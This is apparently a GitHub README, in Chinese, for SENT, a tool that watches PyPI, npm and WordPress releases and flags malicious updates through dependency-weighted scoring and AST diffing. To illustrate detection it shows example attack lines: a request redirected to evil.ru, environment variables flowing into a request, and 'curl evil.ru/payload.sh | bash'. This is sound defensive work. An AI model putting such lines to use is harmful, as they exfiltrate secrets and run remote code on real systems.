Pinperepette/SENT

GitHub: Pinperepette/SENT

实时供应链威胁检测系统,监控包发布并基于级联权重与 AST 差异分析提前预警高风险依赖篡改。

Stars: 42 | Forks: 3

# SENT — 供应链事件网络分类 实时供应链威胁检测,覆盖包生态系统。监控 PyPI、npm 和 WordPress 插件发布流,按依赖图中级联影响对包进行优先级排序,并在恶意更新扩散前通过基于 AST 的行为差异分析捕获它们——包括对现有代码的隐蔽修改。 ![SENT 监控 — 实时监控](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/a718bc311b133920.png) ![SENT 仪表盘 — 高风险包面板](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/b1a1e2c557133921.png) ![SENT 指标 — 运行时统计](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/5401e3c0b5133923.png) ## 问题 ~8,100 个包每小时在 PyPI、npm 和 crates.io 发布。相当于每秒 ~2.25 个发布,持续不断。 没有实时扫描。当前方法是反应式的:有人注意到一个被入侵的包 *在* 它被安装数千次之后。 关键洞察:**你不需要扫描所有内容。2% 的包造成了 90% 的供应链风险。** 一个被入侵的 `urllib3`(被 `requests` 依赖,而 `requests` 又被互联网上一半使用)远比一个被入侵的 `my-first-package` 危险得多。 ## 使用场景 - **实时监控**:监控 PyPI/npm 源,当高风险包发布可疑更新时告警——在扩散之前 - **早期预警**:在数分钟内而非数天内检测被入侵包,将发布与大规模安装之间的窗口期缩短 - **安全研究**:按需分析任意包的版本间差异,提供结构化行为报告和隐蔽变异检测 - **CI/CD 拦截**:在 SENT 验证差异前,将更新拦截到关键依赖 ## 工作原理 ``` PyPI RSS + npm registry + WordPress SVN → scoring filter → diff → behavioral analysis → alert 8,100+/hr ~80/hr cached 1.3ms rule + LLM ``` ### 1. 级联加权依赖图 每个包获得一个 **级联权重** = 自身下载量 + 所有依赖它的包(递归)的下载量总和。 ``` urllib3: 1.3B own downloads → cascade weight 13B (requests, pip, everything depends on it) requests: 1.2B own downloads → cascade weight 8.8B (flask, django, scrapy depend on it) flask: 219M own downloads → cascade weight 991M (many apps depend on it) ``` `urllib3` 的新发布获得优先级评分 23.3。而 `random-unknown-pkg` 获得 0。只有评分高于阈值的包才会被分析。 ### 2. 差异优先分析 对每个高优先级发布: 1. **PyPI/npm**:下载旧版 + 新版(磁盘缓存),解压并差异比对 2. **WordPress**:直接从 plugins.svn.wordpress.org 使用 `svn diff` —— 无需下载 3. 对于 Python 文件:仅对修改文件进行 **基于 AST 的行为分析** 4. 对于 PHP 文件(WordPress):**WordPress 特定模式检测**(eval、后门、认证绕过、wp-config 访问) 5. 对于 JS/其他:作为后备的通用正则扫描 6. **对现有函数调用进行参数级差异比对**(捕获隐蔽攻击) ### 3. 行为分析(而非正则) 系统不会简单地 `grep` `eval`,而是解析 AST 并提取结构性行为: - 新的导入、新的函数调用、新的属性访问 - **对现有调用的参数变更**(URL 重定向、凭证注入) - **敏感数据流**:`os.environ` 出现在 `requests.post` 的参数中 - 每个包独有的 **行为基线**:仅标记 *对该包而言是新的行为* ### 4. 评分 ``` score = f(features, anomalies) = (base + combination_bonuses) * anomaly_multiplier ``` 危险组合会非线性放大加分: | 组合 | 加分 | |---|---| | URL 变更 + 敏感数据新增 | +50 | | 访问 env + 网络调用 | +35 | | 混淆 + 执行 | +35 | | 安装钩子 + 子进程 | +25 | ### 5. 告警 当包的风险评分超过告警阈值(默认:≥30)时: - **控制台**:终端中的彩色告警 - **桌面通知**:带声音的原生 macOS 通知 - **Webhook**:Slack 或 Discord(设置 `SENT_ALERT_WEBHOOK`) - **日志文件**:JSON 行格式,便于与其他工具集成(设置 `SENT_ALERT_LOG`) ### 6. AI 分类(可选) 仅将最可疑的差异(约前 0.4%)发送至 LLM 进行最终分类。支持: - **Claude Code**(无需 API 密钥,使用本地认证) - **Anthropic API**(需要 `ANTHROPIC_API_KEY`) - **仅规则**(无 LLM,完全离线) ## 隐蔽攻击检测 关键区别在于:SENT 检测 **对现有行为的修改**,而不仅是新行为。 ``` # v1 — 合法 requests.post("https://analytics.mycompany.com/events", json=payload) # v2 — 已受妥协(相同功能,参数变更) requests.post("https://evil.ru/events", json=payload) ``` 行为差异比对会忽略两个版本中共有的 `requests.post`。而 **参数级差异比对** 捕获了 URL 域名的变更: ``` mutation:url_changed → Network target changed to evil.ru mutation:sensitive_added → os.environ now flows into requests.get mutation:cmd_changed → Subprocess command changed to "curl evil.ru/payload.sh | bash" ``` 结果:良性更新评分为 21,隐蔽窃取攻击评分为 144(7 倍比率)。 ## 快速开始 ### Docker(推荐) 最快的启动方式。需要 [Docker](https://docs.docker.com/get-docker/)。 ``` # Build docker build -t sent . # 引导依赖关系图(仅运行一次) docker run --rm -v sent-data:/app/data sent bootstrap # 开始监控 docker run --rm -v sent-data:/app/data sent watch -t 8 -i 30 # 分析特定软件包 docker run --rm -v sent-data:/app/data sent analyze requests -e pypi # 显示最高风险软件包 docker run --rm -v sent-data:/app/data sent top ``` 名为 `sent-data` 的命名卷会在运行之间持久化数据库与下载缓存。 要传递环境变量(告警 Webhook、AI 密钥等): ``` docker run --rm -v sent-data:/app/data \ -e SENT_ALERT_WEBHOOK=https://hooks.slack.com/services/T.../B.../xxx \ -e ANTHROPIC_API_KEY=sk-ant-... \ sent watch -t 8 -i 30 ``` **dyana 动态分析**——Docker 镜像预装了 dyana 和 Docker CLI。 挂载主机 Docker 套接字以允许 dyana 启动沙箱容器: ``` # 按需 dyana 爆炸分析 docker run --rm -v sent-data:/app/data \ -v /var/run/docker.sock:/var/run/docker.sock \ sent analyze requests -e pypi --dyana # 监控期间自动 dyana 爆炸分析 docker run --rm -v sent-data:/app/data \ -v /var/run/docker.sock:/var/run/docker.sock \ -e SENT_DYANA=1 -e SENT_DYANA_MIN_SCORE=200 \ sent watch -t 8 -i 30 ``` ### 手动安装 #### 1. 安装 ``` pip install httpx networkx rich click # WordPress 支持需要 SVN(macOS:brew install subversion) ``` #### 2. 引导依赖图 运行一次。它会从 PyPI 和 npm 获取前 200 个包,构建依赖图并计算级联权重。约需 10 秒。 ``` python3 cli.py bootstrap ``` 你应该看到类似输出: ``` [bootstrap] Seeding graph: 150 PyPI + 50 npm packages [bootstrap] Graph: 887 packages, 1458 edges [bootstrap] Top 10 by cascade weight: 1. pypi/packaging cascade=51,739,700,602 own=1,489,869,171 2. pypi/certifi cascade=15,621,709,880 own=1,305,418,539 ... ``` 没有这一步,所有包评分均为 0,不会进行分析。 #### 2b. 导入你的 SBOM(可选) 若要让 SENT 监控 **你的** 供应链,可导入依赖文件: ``` # pip 依赖项 python3 cli.py sbom requirements.txt # npm python3 cli.py sbom package.json # 纯列表(每行一个软件包) python3 cli.py sbom my-packages.txt ``` 这会解析 3 层传递依赖并将它们全部提升至最高优先级。依赖树中的任何包发布后都会立即被分析,即使它只有 50 次全局下载。 也可以直接传递给 `watch`: ``` python3 cli.py watch --sbom-file requirements.txt -t 8 -i 30 ``` 这结合了全局监控(引导前 200 个)与针对性监控(你的依赖)。 #### 3. 启动监控 ``` SENT_ALERT_MIN_SCORE=500 python3 cli.py watch -t 8 -i 30 ``` 这将: - 每 30 秒轮询 PyPI + npm - 按级联权重对每个发布评分 - 分析评分 ≥ 8(高影响)的包 - 并行运行 6 个下载/分析工作线程 - 仅对风险评分 ≥ 500 的包触发桌面/控制台告警 - 缓存已下载的归档以避免重复下载 **调整 `SENT_ALERT_MIN_SCORE`**:默认值(30)会触发大量通知。推荐值: | 值 | 效果 | |---|---| | 30 | 几乎所有可疑项——较嘈杂,适合研究 | | 100 | 中等过滤——每轮约几条告警 | | 500 | 高置信度——罕见告警,很可能是真实威胁 | | 1000 | 仅关键——几乎确定是恶意 | 在终端保持运行。输出示例: ``` [poll] Found 100 releases [pypi] sretoolbox 3.2.0 → 3.2.1 score=8.8 → QUEUE [pypi] pytest-asyncio 1.3.0 → 1.4.0a0 score=21.7 → QUEUE [pypi] random-pkg 0.1.0 → 0.1.1 score=0.0 → skip [pool] Draining 2 tasks with 6 workers... [worker] pypi/sretoolbox score=8 (611ms) [worker] pypi/pytest-asyncio score=17 (1405ms) ============================================================ ALERT: pypi/some-package 1.0.0 -> 1.0.1 Score: 64 AI: suspicious ============================================================ [metrics] Queue: 2 enqueued, 0 dropped, 2 processed [metrics] Workers: 2 ok, avg_total=1008ms [metrics] Cache: 1 hits, 3 misses, rate=25% ``` #### 4. 从另一个终端监控 当 `watch` 运行时,打开第二个终端: ``` # 目前发现的最高风险软件包 python3 cli.py top # 特定软件包的完整报告 python3 cli.py inspect -e pypi # JSON 输出(用于脚本编写) python3 cli.py inspect -e pypi -j # 运行时指标(队列、工作线程、缓存) python3 cli.py metrics ``` #### 5. 按需分析特定包 无需运行 `watch`,可直接分析任意包: ``` # 最新版本与上一版本(自动检测) python3 cli.py analyze requests -e pypi # 特定版本 python3 cli.py analyze flask -e pypi -v 3.1.0 -o 3.0.3 # npm 软件包 python3 cli.py analyze express -e npm # WordPress 插件(使用 SVN 差异 — 不下载) python3 cli.py analyze contact-form-7 -e wordpress python3 cli.py analyze woocommerce -e wordpress # 选择 AI 后端 python3 cli.py analyze requests -e pypi -a claude-code python3 cli.py analyze requests -e pypi -a rules # no LLM, fully offline ``` #### 6. 运行隐蔽攻击演示 查看检测系统在模拟供应链攻击中的表现: ``` python3 test_attack.py ``` 并排展示:良性更新(评分 21)vs 隐蔽窃取攻击(评分 144)。 ## 告警配置 当包的风险评分超过告警阈值(默认:30)时触发告警。 | 通道 | 启用方式 | 行为 | |---|---|---| | 控制台 | 始终启用 | 终端打印彩色告警 | | 桌面 | `SENT_ALERT_DESKTOP=1`(默认) | macOS 原生通知与声音 | | Slack | `SENT_ALERT_WEBHOOK=https://hooks.slack.com/...` | 包含评分、、标志的富消息 | | Discord | `SENT_ALERT_WEBHOOK=https://discord.com/api/webhooks/...` | 包含详情的消息 | | 日志文件 | `SENT_ALERT_LOG=./alerts.jsonl` | 每条告警一个 JSON 对象,追加写入 | 示例:启用 Slack 告警与日志文件: ``` SENT_ALERT_WEBHOOK=https://hooks.slack.com/services/T.../B.../xxx \ SENT_ALERT_LOG=./alerts.jsonl \ python3 cli.py watch -t 8 -i 30 ``` ## CLI 参考 | 命令 | 描述 | |---|---| | `bootstrap [-p 150] [-n 50]` | 用 PyPI/npm 前 200(或指定数量)包引导依赖图 | | `sbom ` | 导入 SBOM 并提升相关依赖的优先级 | | `watch [-t 8] [-i 30] [-e all] [--sbom-file FILE]` | 持续监控守护进程 | | `poll [-t 8] [-e all]` | 单次轮询周期 | | `analyze -e pypi\|npm` | 分析特定包版本 | | `top [-n 20]` | 显示最高风险包 | | `inspect -e pypi\|npm [-j]` | 完整差异报告(`-j` 输出 JSON) | | `metrics` | 运行时指标(从数据库读取,任何终端可用) | ### 关键选项 | 标志 | 描述 | |---|---| | `-e, --ecosystem` | `pypi`、`npm`、`wordpress` 或 `all`(默认:`all`) | | `-t, --threshold` | 优先级评分阈值(默认:8.0,设为 0 可分析全部) | | `-a, --ai-backend` | `auto`、`claude-code`、`api` 或 `rules` | | `-v, --version` | 目标版本(默认:最新) | | `-o, --old-version` | 旧版本(默认:自动检测) | | `-i, --interval` | 轮询间隔(秒,默认:60) | ## 架构 ``` sent/ ├── cli.py CLI (click + rich) ├── main.py Orchestrator, worker pool (6 threads) ├── config.py Environment-based configuration ├── alerts.py Alert system (console, desktop, webhook, log) │ ├── ingestion/ │ ├── pypi.py PyPI RSS feed + JSON API + pypistats │ ├── npm.py npm registry API │ └── wordpress.py WordPress SVN + Plugin API │ ├── graph/ │ ├── dependency_graph.py Weighted DAG with cascade propagation │ ├── bootstrap.py Seed graph with top packages │ └── sbom.py Import your SBOM for targeted monitoring │ ├── scoring/ │ └── scorer.py score = log(cascade_weight + 1) │ ├── task_queue/ │ └── analysis_queue.py Priority queue with backpressure │ ├── analysis/ │ ├── differ.py Core diff engine (download, extract, diff) │ ├── ast_analyzer.py AST behavioral extraction │ ├── call_diff.py Argument-level diff (stealth detection) │ ├── feature_extractor.py AST → flat feature vector │ ├── behavioral_scorer.py Weighted scoring with combo bonuses │ ├── baseline.py Per-package behavioral baseline │ ├── download_cache.py Disk-based archive cache │ ├── php_patterns.py PHP/WordPress pattern detection │ ├── patterns.py Regex fallback (JS/config files) │ └── context_filter.py False positive reduction │ ├── ai/ │ └── classifier.py LLM classification (Claude Code / API / rules) │ ├── storage/ │ ├── models.py Data models │ └── db.py SQLite with WAL │ ├── bench.py Stress test (1000+ events) └── test_attack.py Stealth attack detection demo ``` ## 性能 在 1,000 个合成事件上测试: | 指标 | 值 | |---|---| | 评分吞吐量 | 2,228 事件/秒 | | 每个包分析耗时 | 1.32 毫秒 | | LLM 使用率 | 0.4% 的事件 | | 端到端事件吞吐 | 2,228 事件/秒 | ### 流水线阶段耗时 | 阶段 | 每个单位耗时 | |---|---| | 优先级评分 | 2 微秒 | | AST 提取行为 | 189 微秒 | | 参数级调用差异 | 545 微秒 | | 特征提取与评分 | 250 微秒 | | 完整流水线(8 个文件的包) | 1.58 毫秒 | 实际瓶颈是网络 I/O(包下载约 1–10 秒),而非 CPU。6 线程工作池与下载缓存可有效处理。重复分析同一版本命中缓存(0 毫秒下载)。 这使得 SENT 适用于在通用硬件上实时监控全球包生态系统。 ## 配置 环境变量: | 变量 | 默认值 | 描述 | |---|---|---| | `SENT_THRESHOLD` | `8.0` | 触发分析的最小优先级评分 | | `SENT_POLL_INTERVAL` | `60` | 轮询间隔(秒) | | `SENT_AI_BACKEND` | `auto` | AI 后端:`claude-code`、`api`、`rules`、`auto` | | `SENT_DB` | `./sent.db` | SQLite 数据库路径 | | `SENT_CACHE` | `./.cache` | 下载缓存目录 | | `SENT_ALERT_WEBHOOK` | (无) | Slack/Discord Webhook URL | | `SENT_ALERT_LOG` | (无) | JSON 行格式的告警日志路径 | | `SENT_ALERT_DESKTOP` | `1` | 桌面通知(`1` 启用,`0` 关闭) | | `SENT_ALERT_MIN_SCORE` | `30` | 触发告警的最小风险评分 | | `ANTHROPIC_API_KEY` | (无) | 仅在使用 `api` AI 后端时需要 | | `SENT_DYANA` | `0` | 启用 dyana 动态分析(`1` 启用) | ## 使用 dyana 进行动态分析(可选) SENT 执行 **静态** 分析(AST 差异、行为评分)。如需 **动态** 分析——在沙箱中实际执行包并观察其运行时行为——SENT 与 [dyana](https://github.com/dreadnode/dyana)(由 dreadnode 开发)集成。 dyana 在隔离容器中安装包,并使用 eBPF 跟踪网络连接、文件访问和可疑系统调用。 ### 工作原理 dyana 在 **后台线程** 中运行,拥有独立队列。主工作线程永不阻塞: ``` Worker analyzes package → AI says "suspicious" → enqueue to dyana (instant, non-blocking) → worker moves on to next package → AI says "benign" → no dyana, worker moves on Background dyana thread (separate, one at a time): → picks from queue → detonates in Docker container with eBPF tracing → saves results to DB → picks next ``` 仅当 AI 判定为 **可疑或恶意** 时才将包发送至 dyana。良性包不会被引爆。 ### 安装 ``` pip install dyana # Docker 必须正在运行 ``` ### 使用 自动(推荐):dyana 对 AI 标记为可疑的包自动引爆: ``` SENT_AI_BACKEND=claude-code SENT_DYANA=1 python3 cli.py watch -t 8 -i 30 ``` 按需:手动引爆特定包: ``` python3 cli.py analyze -e pypi --dyana ``` Docker: ``` docker run --rm -v sent-data:/app/data \ -v /var/run/docker.sock:/var/run/docker.sock \ -e SENT_DYANA=1 -e SENT_AI_BACKEND=claude-code \ sent watch -t 8 -i 30 ``` ### 完整流水线 ``` 8,100 releases/hr → scoring filter → AST diff → AI classification → dyana detonation ~80 analyzed 1.3ms suspicious only background, one at a time ``` SENT 过滤,Claude 解释,dyana 确认。每阶段都会减少后续阶段的负载。 ## 限制 - **启发式检测**:SENT 使用 AST 分析与加权评分,而非形式化验证。精心设计的攻击(如纯数据变更、静态资产中的隐写术)可能无法被检测。 - **Python 优先**:Python 包具备完整的 AST 行为分析。PHP/WordPress 插件使用针对性的 WordPress 模式检测(eval、后门、认证绕过)。JS/npm 回退为通用正则匹配。 - **下载数据准确性**:SENT 使用 pypistats.org 获取实时下载数(缓存 1 小时)。未覆盖的包回退为以发布数作为代理。 - **图完整性**:级联权重依赖图谱质量。引导阶段约种子 900 个包。图中未包含的包初始级联权重等于自身下载量,直到图谱随摄入增长。 - **不是代码审查替代品**:SENT 是早期预警系统。高置信度检测结果仍需人工或安全团队验证。 ## 设计决策 **为何使用级联权重而非仅下载量?** 一个仅被 100 次下载但作为 `requests`(12 亿下载)的传递依赖的包,其有效影响范围是 12 亿。仅看自身下载量会遗漏这一点。 **为何使用 AST 而非正则?** 正则会在注释、测试文件和文档中匹配 `os.environ`。AST 分析能区分 `os.environ` 作为 `requests.post` 参数使用与在 docstring 中提及。 **为何使用参数级差异比对?** 行为差异(调用名集合的减法)能捕获 *新* 函数。但攻击者将 `requests.post("legit.com")` 改为 `requests.post("evil.ru")` 并未引入新行为——仅参数变更。参数级差异比对能捕获此类情况。 **为何使用基线对比而非白名单?** 静态白名单会失效:Flask *应该* 使用 `os.environ`。我们的做法是学习 Flask 始终使用 `os.environ`,因此不会告警;而计算器包若突然开始使用 `os.environ` 则会被标记——这对它而言是异常。 **为何不扫描所有内容?** 在 8,100 次/小时的发布速率下,下载并分析所有内容将每月约花费 50,000 美元计算资源,加上 LLM 分类成本。通过级联加权过滤器可将其降至约 80 次分析/小时(Top 1%),同时覆盖 90% 以上的供应链风险。 ## 来源 SENT 的构想源于 [Simone Margaritelli (@evilsocket)](https://twitter.com/evilsocket) 与 [Giuseppe (@N3mes1s)](LINK_URL_4/>) 关于缺乏实时供应链监控的对话。 塑造该项目的关键观察: - **@N3mes1s** 测量到 PyPI、npm 和 crates.io 每小时约 8,100 个实时发布事件,并指出没有“依赖扫描”公司能实时捕获这些事件 - **@evilsocket** 提出了级联加权依赖图方法:构建一个加权全局图,其中每个节点的权重是其所有依赖(递归)的累计下载量,并将该权重反映到链中以优先安排扫描 - **@evilsocket** 还提出了差异优先策略:发布新版本时,不将全部内容提交给 AI,而是与前一版本做差异对比,仅发送差异部分 - **@evilsocket** 指出 WordPress 插件 SVN 仓库(plugins.svn.wordpress.org)是一个公开但几乎不为人知的监控源——SVN 提供了无需下载完整归档即可获取版本差异的能力 SENT 是这些想法的实现。
标签:AMSI绕过, npm, PyPI, SEO: 供应链安全, SEO: 依赖风险, SEO: 实时监控, WordPress, WSL, 依赖图, 功能: CI/CD 集成, 功能: 事件网络 triage, 功能: 缓存分析, 威胁检测, 恶意更新, 技术栈: JavaScript, 技术栈: Python, 特权检测, 级联影响, 自动化payload嵌入, 行为差异分析, 请求拦截, 逆向工具, 隐蔽修改